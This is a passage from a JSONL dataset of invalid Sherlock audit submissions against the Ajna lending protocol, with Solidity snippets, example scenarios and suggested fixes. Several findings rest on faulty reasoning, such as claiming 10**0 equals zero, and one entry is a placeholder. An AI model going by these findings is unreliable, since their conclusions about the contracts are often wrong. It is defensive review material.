reasonable amounts of BorrowTokens.Let’s dive deep into the implementation of the _revertOnMinDebt() method: \n//BorrowersActions.sol\n _revertOnMinDebt(\n loans_,\n result_.poolDebt,\n vars.borrowerDebt,\n poolState_.quoteTokenScale\n );\n\n\n//RevertHelpers.sol\nfunction _revertOnMinDebt( \n\nLoansState storage loans_, \n\nuint256 poolDebt_, \n\nuint256 borrowerDebt_, \n\nuint256 quoteDust_ \n\n) view { \n\nif (borrowerDebt_ != 0) { \n\n//@audit Info Would revert with tokens that has scales more than decimals. \n\nif (borrowerDebt_ < quoteDust_) revert DustAmountNotExceeded(); \n\nuint256 loansCount = Loans.noOfLoans(loans_); \n\nif (loansCount >= 10) \n\nif (borrowerDebt_ < _minDebtAmount(poolDebt_, loansCount)) revert AmountLTMinDebt(); \n\n} \n\n} \n\n \n\nThese problem arises due to the line where it checks if the borrowSize is less than quoteDust ,tracing back to the last call the quoteDust variable is the scale of the quote token, a tokenScale is calculated using the =10**(18-decimals),for Quote tokens like USDC it scaleFactor=1e12 and for example a user requesting to borrow 100 USDC(1e8) which is a reasonable borrow amount would revert due to the check.\n\n## Impact: this bug doesn't seem to have any exploitable potential for malicious users. Instead, it results in a non-functional or restrictive behavior for users looking to borrow tokens with fewer than 18 decimal places. \n\n## Code Snippet:https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/BorrowerActions.sol#L168\n\n## Tool used\n\nManual Review\n\n## Recommendation:To address this issue, the smart contract's code should be modified to handle tokens with lower decimal places more appropriately, especially in the context of minimum borrow size checks.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/048.md"}} +{"title":"Only considering change in debt to update the t0Debt2ToCollateral ratio is incorrect. If collateral changes without debt changing, the state would not be updated properly. This can lead to an inaccurate t0Debt2ToCollateral ratio.","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# Only considering change in debt to update the t0Debt2ToCollateral ratio is incorrect. If collateral changes without debt changing, the state would not be updated properly. This can lead to an inaccurate t0Debt2ToCollateral ratio.\n## Summary\nThe logic only considers change in debt to update the ratio. If collateral changed without debt changing, the logic would miss updating the state. Should calculate ratio before and after even if only collateral changed\n\n\n## Vulnerability Detail\nLogic in _updateT0Debt2ToCollateral() only considers changes in debt when updating the t0Debt2ToCollateral ratio, and would miss updating the state if only collateral changed\nOnly considering debt change to update the debt-to-collateral ratio is problematic. If collateral changes without debt changing, the ratio should still be updated.\nThe main issue is in the _updateT0Debt2ToCollateral function:\n\n function _updateT0Debt2ToCollateral(\n uint256 debtPreAction_, \n uint256 debtPostAction_,\n uint256 colPreAction_,\n uint256 colPostAction_\n ) internal {\n\n uint256 debt2ColAccumPreAction = colPreAction_ != 0 ? debtPreAction_ ** 2 / colPreAction_ : 0;\n uint256 debt2ColAccumPostAction = colPostAction_ != 0 ? debtPostAction_ ** 2 / colPostAction_ : 0;\n\n if (debt2ColAccumPreAction != 0 || debt2ColAccumPostAction != 0) {\n // update ratio\n }\n\n }\nIt only updates the ratio if either the pre or post debt values are non-zero. This misses cases where only collateral changed.\nFor example, say originally:\n• Debt: 100\n• Collateral: 200\n• Ratio: 100^2/200 = 0.5\nNow collateral is doubled to 400, but debt stays the same:\n• Debt: 100\n• Collateral: 400\n• Ratio: 100^2/400 = 0.25\nBut since debt didn't change, _updateT0Debt2ToCollateral won't update the ratio.\nThe vulnerability is that the debt-to-collateral ratio can become incorrect, leading to improper interest rate calculations.\n\n\n\n## Impact\nThe debt-to-collateral ratio stored in the contract will be incorrect if collateral is changed without changing debt. This could lead to several issues like Inaccurate interest rate, risk of undercollateralization inefficient liquidations \nI would categorize this as a high severity issue. An incorrect debt-to-collateral ratio fundamentally undermines the risk model and incentives of the protocol.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L647-L663\n## Tool used\n\nManual Review\n\n## Recommendation\n_updateT0Debt2ToCollateral should always calculate and update the ratio, regardless of debt change:\n\n function _updateT0Debt2ToCollateral(\n uint256 debtPreAction_, \n uint256 debtPostAction_,\n uint256 colPreAction_,\n uint256 colPostAction_ \n ) internal {\n\n uint256 debt2ColAccumPreAction = colPreAction_ != 0 ? debtPreAction_ ** 2 / colPreAction_ : 0;\n uint256 debt2ColAccumPostAction = colPostAction_ != 0 ? debtPostAction_ ** 2 / colPostAction_ : 0;\n \n // Always update ratio\n uint256 curRatio = interestState.t0Debt2ToCollateral;\n curRatio -= debt2ColAccumPreAction; \n curRatio += debt2ColAccumPostAction;\n\n interestState.t0Debt2ToCollateral = curRatio;\n\n }\nThis ensures the ratio gets updated correctly in all cases, whether debt changes or not.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/045.md"}} +{"title":"BorrowAmount and QuoteTokenRepay Amount would round down to zero due to division before multiplication","severity":"info","body":"Kind Coal Sawfish\n\nmedium\n\n# BorrowAmount and QuoteTokenRepay Amount would round down to zero due to division before multiplication\n---\nname: Audit item\nabout: These are the audit items that end up in the report\ntitle: \"\"\nlabels: \"Medium\"\nassignees: \"\"\n---\n\n## Summary:Division before multiplication would result in rounding errors\n\n## Vulnerability Detail:The functions repayDebt() and drawDebt() implements a method _roundToScale(), this function is to thwart dust amount when borrowing debt or repaying a debt.This function would round amount to zero when dealing with Quote || Collateral Tokens which has decimals less than 9. \n\nThe implementation of the function : \n\nfunction _roundToScale( \n\nuint256 amount_, \n\nuint256 tokenScale_ \n\n) pure returns (uint256 scaledAmount_) { \n\nscaledAmount_ = (amount_ / tokenScale_) * tokenScale_; \n\n} \n\n The token Scale of any token is defined as :10**(18-decimal) \n\nFor example, the token Scale for the Ethereum USDC is 10**12, to scale the amount and due to the fact that solidity rounds decimals down to the nearest whole number, When computing the scale it would yield a 0 value disallowing the borrowers to either repay debt or take a loan . \n\nA Real world scenario :User A wants to borrow 1000 USDC(1 USDC=1e6) so when scaling the amount ,it computes the amount/Scale ,above I pointed the fact that the scale of USDC :1e12 ,1e6/1e12 would result to a decimal less than 1 and solidity would round down the value to the nearest whole number which would yield 0. \n\n## Impact:As this bug is not exploitable by a malicious user. This bug would result in the dysfunctionality of the pools with either Quote Tokens or Collateral Tokens that fits the criteria(Tokens with decimals less than 9 ). \n\n## Code Snippet:https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/ERC20Pool.sol#L139\n/**amountToBorrow_ = _roundToScale(\n amountToBorrow_,\n poolState.quoteTokenScale\n );\n*/\n## Tool used\n\nManual Review\n\n## Recommendation:To mitigate this issue I recommend multiplication before division.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/044.md"}} +{"title":"If a bucket goes bankrupt, the bankruptcyTime is updated but previously deposited LP is still valid.","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# If a bucket goes bankrupt, the bankruptcyTime is updated but previously deposited LP is still valid.\n## Summary\nIf a bucket goes bankrupt, the bankruptcyTime is updated but previously deposited LP is still valid. \n## Vulnerability Detail\nPreviously deposited LP remains valid after a bucket bankruptcy in Pools.\n\nHere is how it works:\n\nWhen a bucket goes bankrupt, the bankruptcyTime is set to the current block timestamp:\n\n bucket.bankruptcyTime = block.timestamp;\n\nWhen depositing or withdrawing from a bucket, the deposit is valid if the depositTime is before the bankruptcyTime:\n\n if (bucket.bankruptcyTime < depositTime) {\n // deposit is valid\n }\n\nSo any deposits made before the bankruptcy remain valid and can still be withdrawn after bankruptcy.\nThe impact is that LPs don't immediately lose their deposits if a bucket goes bankrupt. This prevents unfair loss of funds.\nHowever, it also means that insolvent buckets can continue to be withdrawn from, potentially draining collateral from other buckets.\n\n## Impact\nThis can result in a significant loss for lenders who had LP tokens in the bankrupt bucket.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L415\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L452\n## Tool used\n\nManual Review\n\n## Recommendation\nThe contract could invalidate all LP in a bucket when it goes bankrupt, forcing LPs to withdraw before bankruptcy:\n• Set lender.lps = 0 when bankruptcyTime is updated\n• Remove the depositTime check when redeeming\n• This burns all remaining LP in the bankrupt bucket\nSo LPs are incentivized to monitor buckets and withdraw if risky, rather than relying on previously deposited LP remaining valid after bankruptcy.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/043.md"}} +{"title":"Depositing below the LUP can still increase the LUP if it fills up lower bucket","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# Depositing below the LUP can still increase the LUP if it fills up lower bucket\n## Summary\nThe lup_ price is only recalculated if the deposit is above the previous lup. This ignores the case where a deposit below lup could still increase lup if it fills up lower buckets\n## Vulnerability Detail\nA deposit below the previous LUP can still increase LUP if it fills up lower buckets\nThe key things to understand here:\n• LUP (Last Utilized Price) is the highest bucket price that is fully utilized (deposit = bucket size).\n• It is recalculated whenever deposits change.\n• Deposits are stored in a Fenwick tree data structure. This allows efficiently querying prefix sums.\nIn the addQuoteToken function, LUP is only recalculated if the deposit is above the previous LUP:\n\n if (!depositBelowLup) {\n lupIndex = Deposits.findIndexOfSum(deposits_, poolState_.debt); \n }\n lup_ = _priceAt(lupIndex);\n\nThis misses the case where a deposit below LUP could increase LUP.\nFor example:\n• Bucket 1 (price 100) is full\n• Bucket 2 (price 90) has free capacity\n• Current LUP is 100\n• A deposit is made in Bucket 2\n• The new LUP should be 90 but it is not recalculated\n\n## Impact\nThe major impact is that the LUP price reported could be inaccurate and too low if deposits are made below the previous LUP. This could allow loans to be taken out at interest rates that are too low relative to the actual liquidity available in the pool.\n\nAn incorrectly low LUP could allow loans to be created at unsafe ratios and put the protocol at risk. \n\nIf a significant amount of deposits are below LUP, then the reported LUP could diverge significantly from the actual liquidity-adjusted LUP.\n\nThis could enable arbitrage opportunities for borrowers if they can borrow at rates that are too low relative to liquidity. It could also lead to problems if the inaccurate LUP allows loans to be taken out that couldn't actually be covered by the available liquidity.\n\nOverall I would categorize this as a high severity issue since it directly impacts the core LUP mechanic for adjusting interest rates. The code should recalculate LUP anytime new deposits are made, regardless of whether they are above or below the previous LUP\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L208-L211\n## Tool used\n\nManual Review\n\n## Recommendation\nTo fix this, LUP should always be recalculated after a deposit. A suggestive example:\n\n // Recalculate LUP after any deposit\n lupIndex = Deposits.findIndexOfSum(deposits_, poolState_.debt);\n lup_ = _priceAt(lupIndex);\n\nThis ensures LUP accurately reflects the last fully utilized bucket after any changes to deposits.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/042.md"}} +{"title":"Loss of lender's claimable collateral after `_forgiveBadDebt` due to unfair bucket bankruptcy","severity":"info","body":"Real Pastel Starfish\n\nhigh\n\n# Loss of lender's claimable collateral after `_forgiveBadDebt` due to unfair bucket bankruptcy\n## Summary\n\nAfter a settlement where there is bad debt settled via the `_forgiveBadDebt` function, is possible that the system declares a bucket in bankruptcy where there's still LPB and collateral to be claimed.\n\nThis scenario is probable in pools where the assets have a high difference in valuation (e.g. `USDC/SHIBA`) so the check for bankruptcy within `_forgiveBadDebt` fails and the bucket is declared bankrupt when there's still LPB and collateral to be claimed.\n\n## Vulnerability Detail\n\nWhen a settlement occurrs where there's only bad debt and no collateral, after settling debt with reserves, `_forgiveBadDebt` is called to settle the rest of the debt with the deposits from the highest price buckets. \n\nAfter settling some debt in a bucket, there's a check to verify if that settled bucket is bankrupt or not. But that check is different from all the rest of bankruptcy checks in the codebase, this one accounts for rounding issues in the exchange rate. This modification causes that sometimes a bucket will be declared bankrupt when it's really not. \n\nHere is a normal bankruptcy check, perfomed in `moveQuoteToken`, `removeQuoteToken`, `removeCollateral`, `removeMaxCollateral` and `_settlePoolDebtWithDeposit`:\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L534\n```solidity\nif (bucketCollateral == 0 && bucketDeposit == 0 && bucketLP != 0) {\n bucket.lps = 0;\n bucket.bankruptcyTime = block.timestamp;\n\n // ...\n}\n```\n\nBut in `_forgiveBadDebt`, the check for bankruptcy is different:\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L485\n```solidity\nif (depositRemaining * Maths.WAD + hpbBucket.collateral * _priceAt(index) <= bucketLP) {\n // existing LP for the bucket shall become unclaimable\n hpbBucket.lps = 0;\n hpbBucket.bankruptcyTime = block.timestamp;\n\n // ...\n}\n```\n\nWhen a bucket with a low price is left with 0 deposits and some collateral, there's a possibility that the bucket is declared bankrupt when it's not, thus leaving the current LPB holders without possibility to claim the collateral inside. \n\nLet's look at an example on how this could happen:\n\n```text\nIn a ETH/SHIBA pool, the Highest Price Bucket is index 7100 (-2944):\n - bucketPrice = 0.00000042\n - bucketDeposits = 50.000M SHIBA\n - bucketCollateral = 0.1 ETH\n - bucketLPB ≈ 50.000M (Approximately 50.000M)\n \nA loan in auction has 50.000M SHIBA of bad debt and must be settled. Reserves are 0 in that moment.\n\nFunction `_forgiveBadDebt` is called inside `settlePoolDebt`, all deposits from bucket 7100 are cleared to settle debt:\n - bucketPrice = 0.00000042\n - bucketDeposits = 0\n - bucketCollateral = 0.1 ETH\n - bucketLPB = ≈ 50.000M\n\nAfter settling debt, the bucket is be declared bankrupt if (deposits * WAD + collateral * price <= LPB)\nTherefore, the bucket is declared bankrupt because (0 + 0.1e18 * 0.00000042e18 < 50_000_000_000e18)\n\nChisel calculation:\n➜ uint256(0.1e18) * 0.00000042e18 < 50_000_000_000e18\nType: bool\n└ Value: true\n\nSo, that bucket is declared bankrupt when there's still LPB and collateral to claim. \nIf it wasn't declared bankrupt, lender with all the LPB balance would be able to withdraw the collateral with the existing LPB.\n```\n\nSo, it's demonstrated that the `_forgiveBadDebt` function may declare a bucket bankrupt when there's still LPB and collateral that can be claimed. \n\nFollowing the previous example, if the bucket wasn't declared bankrupt and a user with all the LPB in the bucket wanted to withdraw the 0.1 ETH, he should be able to do it calling `withdrawCollateral`, but in this case it won't be possible because bucket has been unfairly declared bankrupt. \n\nAfter this scenario has been given, any actor could deposit a tiny amount of collateral in that bucket and withdraw the whole amount that was there, thus earning profit at the expense of other actors of the system. \n\n## Impact\n\nIn pools with a high difference in asset valuation, when a debt is settled via `_forgiveBadDebt`, is possible that the lenders from that bucket lose the collateral there because of the unfair bucket bankruptcy. There is a no low-probability prerequisites and the impact is the direct loss of assets from the lenders so setting severity to high. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L485\n\n## Tool used\n\nManual Review and coffee\n\n## Recommendation\n\nIt's recommended to adapt the check for bankruptcy in `_forgiveBadDebt` to match the others in order to avoid some unfair bucket bankruptcies.\n\n```diff\n- if (depositRemaining * Maths.WAD + hpbBucket.collateral * _priceAt(index) <= bucketLP) {\n+ if (depositRemaining == 0 && hpbBucket.collateral == 0){}\n // existing LP for the bucket shall become unclaimable\n hpbBucket.lps = 0;\n hpbBucket.bankruptcyTime = block.timestamp;\n\n // ...\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/041.md"}} +{"title":"An attacker could collude with the old owner to set an artificially early depositTime, which would then get adopted by the new owner.","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# An attacker could collude with the old owner to set an artificially early depositTime, which would then get adopted by the new owner.\n## Summary\nThe new owner's depositTime is set to the max of the old owner's depositTime and the new owner's existing depositTime. This assumes the old owner's depositTime is valid. An attacker could collude with the old owner to set an artificially early depositTime and get it adopted by the new owner. \n## Vulnerability Detail\nThe key parts are:\n1. The old owner's `depositTime` is read from storage without validation:\n\n uint256 ownerDepositTime = owner.depositTime;\n\n2. The new owner's `depositTime` is updated to the max of this and their existing `depositTime`:\n\n newOwner.depositTime = Maths.max(ownerDepositTime, newOwnerDepositTime);\n\nThis means the old owner can artificially set a low `depositTime` by directly writing to storage. For example:\n\n owner.depositTime = 1; // set to block 1\n\nWhen their LP is transferred, this invalid early `depositTime` will be adopted by the new owner.\nThis allows the new owner to circumvent the bankruptcy `depositTime` checks and withdraw more assets than they should be able to.\nFor example, if a bankruptcy happened at block 1000, the new owner should only be able to withdraw LP deposited after block 1000. But with the artificially low `depositTime` of 1, they can withdraw all their LP.\n\n## Impact\nThe main impact of an attacker colluding with the old owner to set an artificially early depositTime is that it could allow the new owner to wrongly claim LPs in a bucket that suffered bankruptcy. This is because the new owner's LPs are protected from bankruptcy if their deposit happened after the bankruptcy.\nBy adopting the old owner's artificially early depositTime, the new owner could falsely claim their deposit happened before the bankruptcy, when in reality it happened after. This would allow them to redeem more LPs than they are entitled to.\nThe severity of this issue is high. It directly impacts the solvency and integrity of the lending pool by allowing LPs to be redeemed improperly. At a minimum it results in loss of funds for other LPs in the affected buckets. In an extreme case it could lead to insolvency of the pool if enough LPs are wrongly redeemed.\n\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LPActions.sol#L266\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LPActions.sol#L237\n## Tool used\n\nManual Review\n\n## Recommendation \nThe old owner's depositTime should be validated before assigning it to the new owner in ways that prevents the old owner from setting an invalid early depositTime that gets inherited by the new owner.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/040.md"}} +{"title":"Unchecked return value for low level call in multicall function","severity":"info","body":"Kind Green Sealion\n\nmedium\n\n# Unchecked return value for low level call in multicall function\n## Summary\nLow-level calls will never throw an exception, instead they will return false if they encounter an exception, whereas contract calls will automatically throw.\n\n## Vulnerability Detail\nIf the return value of a low-level message call is not checked then the execution will resume even if the called contract throws an exception. If the call fails accidentally or an attacker forces the call to fail, then this may cause unexpected behavior in the subsequent program logic.\n\nIn the case that you use low-level calls, be sure to check the return value to handle possible failed calls.\n\n## Impact\nUnchecked returns can cause unexpected behavior,\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/PoolInfoUtilsMulticall.sol?plain=1#L168\n```solidity\n (, results_[i]) = address(poolInfoUtils).call(callData);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEnsure that the return value of a low-level call is checked or logged.\n```solidity\n(bool success, results_[i]) = address(poolInfoUtils).call(callData);\nrequire(success);\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/039.md"}} +{"title":"Unremoved Collateralized Loans After Take Action causes Bad Debts","severity":"info","body":"Rhythmic Crepe Boa\n\nhigh\n\n# Unremoved Collateralized Loans After Take Action causes Bad Debts\n## Summary\n\n- collateralized loans are not removed from the auction after a `take` action. This oversight leads to increased bad debts, impacting borrowers , higher bucket lenders, and the protocol reserve, causing unnecessary losses.\n\n## Vulnerability Detail\n\n- If a loan becomes collateralized in the liquidation process (`take` action), this loan should be removed from the auction to avoid bad debts. In fact, that's what the _white paper_ stated:\n > Because the only remaining deposit is Alice’s at 1000, the LUP is now 1000. The loan is fully collateralized with respect to this LUP so the loan’s auction ends, but the loan remains active.\n\n_However_, that's not the case in the code. When a `bucketTake` or `take` happens, there is no check after this action to determine if the loan has become healthy, and if so, remove it. This makes it more likely for bad debts to accrue in the pool.\n\n- Consider the following scenario:\n\n - Bob has a debt of `1000 QT` and `10 CL`, so Bob's _TP_ = 1000/10 = `100`.\n - A lender wants to withdraw his deposit. So, they kicked Bob's loan, and the `LUP` calculated becomes `90`.\n - When the price of Bob's loan becomes `150 QT/CL`, Alice makes a `take` with `300 QT` and gets `2 CL`.\n - Now Bob's loan TP is: 700/8 = `87.5`, which is less than the current LUP (LUP, by the way, can be way higher if other lenders deposit or borrowers repay their loans..ect). now the loan is collateralized with respect to `LUP`\n\n- Bob's loan does not get removed from the auction in this case , adding additional risk to the protocol by staying in the auction. Let's continue the example:\n - Now some time has passed, and the auction price is `50 QT/CL`.\n - Alice found some additional QT and goes back to buy more CL. It buys all possible debt: `400 QT` and gets `8 CL`.\n - Now Bob has `300 QT` debt and `0 COL`.and the auction need to be settled.\n > NOTICE that the debts in auction are included in the calculation of the `LUP`.\n\n## Impact\n\n- Bob, higher buckets lenders, and the protocol reserve all suffer losses in the settlement of such bad debts, while it should have been avoided.\n\n## Code Snippet\n\n- take :\n - https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20Pool.sol#L376\n - https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L200\n- bucketTake :\n - https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20Pool.sol#L427\n - https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L135\n- internal \\_take :\n - https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L200\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nin the [\\_takeLoan](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L200) function. consider to check if the `TP` of the borrower less then `lup`. if so remove the borrower from auction.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/038.md"}} +{"title":"No Recovery Time for Borrowers In Auction Kick","severity":"info","body":"Rhythmic Crepe Boa\n\nmedium\n\n# No Recovery Time for Borrowers In Auction Kick\n## Summary\nThe vulnerability strips borrowers of the promised opportunity to react within the one-hour grace period when their loan enters liquidation `auction kick`. Due to the immediate \\_inAuction check, borrowers have no time to recover, potentially resulting losses for them.\n## Vulnerability Detail\n- In the _whitepaper_, it's stated that borrowers should have the ability to pay off their debt at any time. Additionally, the _whitepaper_ claims that if a `borrower` get `kicked`, there is a one-hour grace period for the borrower to potentially recollateralize their loan.\n- > The first hour of liquidation is a grace period in which the borrower may recapitalize or pay back their loan ...
\n\n- However, this is not the case. When a borrower is kicked into the auction, they cannot repay or add more collateral to their debt due to the `inAuction` check at the beginning of the `drawDebt` and `repayDebt` functions. This situation is unfair as it allows lenders to `kick` a loan without giving the borrower a chance to pay off their debt,only through auction. which causes lose for him.this discouraging borrowers to borrow.\n## Impact\n- denies borrowers the crucial recovery window during auction kicks, leading to immediate liquidation risks and substantial financial losses.\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/BorrowerActions.sol#L106\n- To add more collateral and maintain a healthy position, the borrower can use the `drawDebt` function. However, the current implementation does not allow this if the borrower is in an active auction: .\n```solidity\n function drawDebt(\n AuctionsState storage auctions_,\n DepositsState storage deposits_,\n LoansState storage loans_,\n PoolState calldata poolState_,\n uint256 maxAvailable_,\n address borrowerAddress_,\n uint256 amountToBorrow_,\n uint256 limitIndex_,\n uint256 collateralToPledge_\n ) external returns (\n DrawDebtResult memory result_\n ) {\n // revert if not enough pool balance to borrow\n if (amountToBorrow_ > maxAvailable_) revert InsufficientLiquidity();\n // revert if borrower is in auction\n if(_inAuction(auctions_, borrowerAddress_)) revert AuctionActive();\n //........\n }\n```\n- https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/BorrowerActions.sol#L222\n- To repay debt and maintain a healthy position, the borrower can use the `repayDebt` function. However, similar to `drawDebt`, this function also does not allow repayment if the borrower is in an active auction:\n```solidity\n function repayDebt(\n AuctionsState storage auctions_,\n DepositsState storage deposits_,\n LoansState storage loans_,\n PoolState calldata poolState_,\n address borrowerAddress_,\n uint256 maxQuoteTokenAmountToRepay_,\n uint256 collateralAmountToPull_,\n uint256 limitIndex_\n ) external returns (\n RepayDebtResult memory result_\n ) {\n RepayDebtLocalVars memory vars;\n vars.repay = maxQuoteTokenAmountToRepay_ != 0;\n vars.pull = collateralAmountToPull_ != 0;\n\n \n if (!vars.repay && !vars.pull) revert InvalidAmount()\n \n if(_inAuction(auctions_, borrowerAddress_)) revert AuctionActive();\n\n Borrower memory borrower = loans_.borrowers[borrowerAddress_];\n }\n```\n- https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/BorrowerActions.sol#L388\n- this prevent the previous function from execute if the borrower already in auction.from the first second the loan of a borrower get `kicked` to the auction. leaving no time for the borrower to react and pay their debt:\n\n```solidity\n function _inAuction(\n AuctionsState storage auctions_,\n address borrower_\n ) internal view returns (bool) {\n return auctions_.liquidations[borrower_].kickTime != 0;\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n- allow borrowers that get kicked in less then one hour before. to repay debt and remove them from auction.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/037.md"}} +{"title":"PoolDeployer._getTokenScale() doesn't consider tokens with 18 decimals.","severity":"info","body":"Little Sandstone Cod\n\nmedium\n\n# PoolDeployer._getTokenScale() doesn't consider tokens with 18 decimals.\n## Summary\nThis `scale_ = 10 ** (18 - tokenDecimals_)` will leave tokens that have 18 decimals with 0 decimals as `scale`. see [here](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/PoolDeployer.sol#L64-L65)\n## Vulnerability Detail\n18 -18 = 0 . \n\nThis `scale_ = 10 ** (18 - tokenDecimals_)` will leave tokens that have 18 decimals with 0 decimals.\n## Impact\n1. tokens that have 18 decimals will be left with 0 decimals as `scale`. \nLike [here](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20PoolFactory.sol#L58-L59) `quoteTokenScale` for `quote_` and `collateralScale` for `collateral_` will be 0 if they are tokens with 18 decimals.\n\n2. Also the `quoteTokenScale` and `collateralScale` which will be 0 for tokens with 18 decimals will be used in calculations that require the token scale, this will cause issues and inefficiencies in such calculations. see [here](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L369) \n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/PoolDeployer.sol#L64-L65\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20PoolFactory.sol#L58-L59\n## Tool used\n\nManual Review\n\n## Recommendation\nFirst check with an if statement if the `tokenDecimals_` is 18 decimals before the scale calculation","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/036.md"}} +{"title":"h","severity":"info","body":"Rhythmic Crepe Boa\n\nfalse\n\n# h","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/035.md"}} +{"title":"return value of call to read-only functions is not checked","severity":"info","body":"Little Sandstone Cod\n\nmedium\n\n# return value of call to read-only functions is not checked\n## Summary\nreturn value of call is not checked.\n## Vulnerability Detail\nThe return value of the calls to read-only functions in `PoolInfoUtilsMulticall.multicall()` is not checked, so if the call fails, the contract just assumes that they were successful, this breaks the efficiency of `PoolInfoUtilsMulticall.multicall()` function.\n\n## Impact\nThe function won't be effective in aggregating results from multiple read-only function calls because the contract will assume all calls were successful when in fact some could fail.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/PoolInfoUtilsMulticall.sol#L168\n## Tool used\n\nManual Review\n\n## Recommendation\nconsider logging failed calls","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/034.md"}} +{"title":"Lack of Error Handling in approveLPTransferors function","severity":"info","body":"Beautiful Cyan Lynx\n\nmedium\n\n# Lack of Error Handling in approveLPTransferors function\n## Summary\nThe code doesn't include any error handling or checks for situations where the allowances_[transferors_[i]] is already true. If the function is intended to allow setting allowances only if they are not already set, then it should include error handling or checks to prevent re-approval of the same address twice or more.\n## Vulnerability Detail\n\n`function approveLPTransferors(\n mapping(address => bool) storage allowances_,\n address[] calldata transferors_\n ) external {\n uint256 transferorsLength = transferors_.length;\n for (uint256 i = 0; i < transferorsLength; ) {\n allowances_[transferors_[i]] = true;\n unchecked { ++i; }\n }\n emit ApproveLPTransferors(\n msg.sender,\n transferors_\n );\n }\n`\n\n## 